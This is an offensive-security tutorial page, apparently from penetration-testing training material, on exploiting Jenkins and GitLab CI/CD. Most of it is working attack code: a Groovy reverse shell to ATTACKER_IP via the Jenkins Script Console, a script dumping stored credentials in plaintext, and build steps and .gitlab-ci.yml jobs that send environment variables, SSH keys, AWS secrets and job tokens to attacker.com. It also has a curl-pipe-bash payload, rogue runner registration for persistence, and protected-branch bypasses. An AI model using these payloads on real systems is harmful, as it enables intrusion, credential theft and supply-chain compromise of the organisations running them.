🔥 Advanced
Jenkins & GitLab Exploitation
Jenkins and GitLab are enterprise CI/CD workhorses. Their power makes them high-value targets - access often means credentials to everything.
🔧 Jenkins Exploitation
Jenkins runs ~50% of enterprise CI/CD. It's Java-based with Groovy scripting - admin access = immediate RCE.
🎯
Script Console
Groovy RCE
🔐
Credentials
Decrypt stored secrets
📋
Build Logs
Secret leakage
Script Console RCE
High Impact
The Jenkins Script Console at
/script executes arbitrary Groovy. Admin access = immediate server compromise. Many instances leave this exposed.
bash
// ===== LINUX REVERSE SHELL =====
String host = "ATTACKER_IP";
int port = 4444;
String cmd = "/bin/bash";
Process p = new ProcessBuilder(cmd, "-i").redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0) so.write(pi.read());
while (pe.available() > 0) so.write(pe.read());
while (si.available() > 0) po.write(si.read());
so.flush(); po.flush(); Thread.sleep(50);
}
p.destroy(); s.close();
// ===== WINDOWS REVERSE SHELL =====
String host = "ATTACKER_IP";
int port = 4444;
String cmd = "cmd.exe";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... same streaming code ...
// ===== COMMAND EXECUTION (simpler) =====
def cmd = "whoami".execute();
println cmd.text
def cmd2 = ["cat", "/etc/passwd"].execute();
println cmd2.text
// ===== READ FILES =====
new File("/etc/passwd").text
new File("C:\\Users\\Administrator\\Desktop\\flag.txt").textCredential Extraction
Jenkins stores credentials encrypted. With file access, you can decrypt them:
bash
# FILES YOU NEED (usually in /var/lib/jenkins or JENKINS_HOME):
# 1. secrets/master.key
# 2. secrets/hudson.util.Secret
# 3. credentials.xml (or jobs/*/config.xml for job-specific creds)
# === METHOD 1: Via Script Console (if you have access) ===
println(hudson.util.Secret.decrypt("{AQAAABAAAAAQd...}"))
# Or dump ALL credentials:
import jenkins.model.*
import com.cloudbees.plugins.credentials.*
def creds = CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardCredentials.class,
Jenkins.instance,
null,
null
);
for (c in creds) {
println(c.id + " : " + c.description)
if (c instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl) {
println(" Username: " + c.username)
println(" Password: " + c.password.getPlainText())
}
}
# === METHOD 2: Offline with files ===
# Use jenkins-credentials-decryptor:
python3 jenkins_credentials_decryptor.py -m master.key -s hudson.util.Secret -c credentials.xmlJenkins Enumeration
bash
# Check if Jenkins is running
curl -s http://target:8080 | grep -i jenkins
# Check for unauthenticated access
curl -s http://target:8080/script
curl -s http://target:8080/asynchPeople/
# API endpoints (may leak info)
curl -s http://target:8080/api/json?pretty=true
curl -s http://target:8080/computer/api/json?pretty=true
# List all jobs
curl -s http://target:8080/api/json?tree=jobs[name,url]
# Get build console output (secrets often leaked here)
curl -s http://target:8080/job/JobName/lastBuild/consoleText
# Check for vulnerable plugins
curl -s http://target:8080/pluginManager/api/json?depth=1
# Common credential locations
/var/lib/jenkins/secrets/
/var/lib/jenkins/credentials.xml
/var/lib/jenkins/users/*/config.xml
C:\Program Files\Jenkins\secrets\
C:\ProgramData\Jenkins\.jenkins\Build Job Manipulation
bash
# If you can modify job configs (via UI, API, or file access):
# 1. Add malicious build step
# In job config, add Execute Shell:
curl -X POST -d "$(env)" https://attacker.com/collect
cat ~/.ssh/id_rsa | base64 | curl -X POST -d @- https://attacker.com/key
# 2. Via API (requires authentication)
# Get current config
curl -u user:token http://jenkins/job/JobName/config.xml -o config.xml
# Modify config.xml, add to <builders>:
<hudson.tasks.Shell>
<command>curl attacker.com/shell.sh | bash</command>
</hudson.tasks.Shell>
# Upload modified config
curl -X POST -u user:token http://jenkins/job/JobName/config.xml --data-binary @config.xml🦊 GitLab CI/CD Exploitation
GitLab combines SCM + CI/CD. Runners execute jobs - compromise them for secrets, code, and network access.
🏃
Runners
Job execution
🔑
CI Variables
Secrets in env
📝
.gitlab-ci.yml
Pipeline control
CI Variable Extraction
bash
# .gitlab-ci.yml - add to any job to exfil secrets:
stages:
- build
steal_secrets:
stage: build
script:
# Dump all environment variables
- env | sort | curl -X POST -d @- https://attacker.com/env
# Target specific variables
- |
curl -X POST \
-d "aws_key=$AWS_ACCESS_KEY_ID" \
-d "aws_secret=$AWS_SECRET_ACCESS_KEY" \
-d "deploy_key=$DEPLOY_SSH_KEY" \
https://attacker.com/collect
# Grab CI_JOB_TOKEN (can clone other repos!)
- echo $CI_JOB_TOKEN | curl -X POST -d @- https://attacker.com/token
# Clone private repos using job token
- git clone https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.com/company/internal-repo.gitRogue Runner Registration
Persistence Technique
If you find a runner registration token, you can register your own runner and intercept all jobs that target it.
bash
# Runner registration tokens are found in:
# - GitLab Admin > Runners (admin access)
# - Group/Project > CI/CD > Runners
# - Sometimes leaked in .gitlab-ci.yml or logs
# Register rogue runner
gitlab-runner register \
--url https://gitlab.target.com/ \
--registration-token LEAKED_TOKEN \
--executor shell \
--description "build-runner-02" \
--tag-list "docker,linux,build"
# Now ALL jobs with matching tags run on YOUR machine
# You see source code, environment variables, secrets...
# Check for existing runners (with access)
curl --header "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.target.com/api/v4/projects/:id/runners"GitLab API Enumeration
bash
# Check version (important for CVE matching)
curl -s https://gitlab.target.com/api/v4/version
# List accessible projects
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.target.com/api/v4/projects?membership=true"
# Get project variables (if maintainer+)
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.target.com/api/v4/projects/:id/variables"
# List CI/CD pipelines
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.target.com/api/v4/projects/:id/pipelines"
# Get job logs (secrets often leaked)
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.target.com/api/v4/projects/:id/jobs/:job_id/trace"
# Find runner tokens in old pipelines
# Search for "registration_token" in job logsProtected Branch Bypass
bash
# Protected branches restrict who can push
# But CI/CD often has elevated permissions...
# Method 1: Use CI_JOB_TOKEN to push (if permissions allow)
git remote set-url origin https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.com/repo.git
git push origin main # May bypass protections
# Method 2: Use Deploy Keys
# If SSH deploy key is in CI variables:
echo "$DEPLOY_SSH_KEY" > /tmp/key && chmod 600 /tmp/key
GIT_SSH_COMMAND="ssh -i /tmp/key" git push origin main
# Method 3: Abuse merge request approvals
# Create MR from feature branch (you control)
# CI passes, auto-merge kicks in